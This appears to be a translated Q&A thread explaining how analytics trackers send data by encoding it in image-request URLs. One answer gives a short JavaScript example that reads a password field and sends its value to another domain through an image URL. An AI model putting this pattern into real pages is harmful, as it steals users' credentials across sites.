任何人都知道Javascript Web Analytics跟踪器是如何工作的?

问题描述:

任何人都知道谷歌分析或Clicky是如何工作的?任何人都知道Javascript Web Analytics跟踪器是如何工作的?

我一直在搜索整个http://static.getclicky.com/js文件,但没有发现任何服务器请求。它如何发送数据而不影响其自身的安全性?否则用户可以通过修改js发送错误的数据。

图片:这些库在编码所有他们想要的跟踪信息时使用一种技巧,将其附加到图像URL并通过请求图像“发送”它。服务器端解析该图像文件名解码信息。

假设你有,你想从mydomain.com发送到somedomain.com密码字段:

var t = document.getElementById('p').value; 
var i = document.createElement('img'); 
i.src = 'http://somedomain.com/imagescript.php?p=' + t; 

<input type='password' id='p' />

这个JavaScript可以通过违反跨站点限制发送内容

跨站点脚本编写限制不适用于图像,并且当您在JavaScript中编写图像URL请求时,世界上没有任何浏览器或逻辑可以说明所有可能性。假设我们很幸运,GA是符合道德规范的,并且不会妨碍表单域。

+0

哇,这是一个不错的。但是i.src发生了什么?它被丢弃了吗? 如果他们不得不提取数据,例如用户/浏览器信息/引用网址等的IP地址,它是在PHP文件中完成还是通过JavaScript? –

+0

某些信息(浏览器代理,IP地址,可能是指URL)是从HTTP头被动收集的。其他信息(如页面标题)会在图像URL中进行编码,服务器端处理将对其进行解码。 – pp19dd

+0

非常感谢您的回答。但为什么这么多的编码只是为了发送一堆变量?我无法弄清楚它是什么,但我想数据在发送之前进行编码以避免欺骗性条目。 –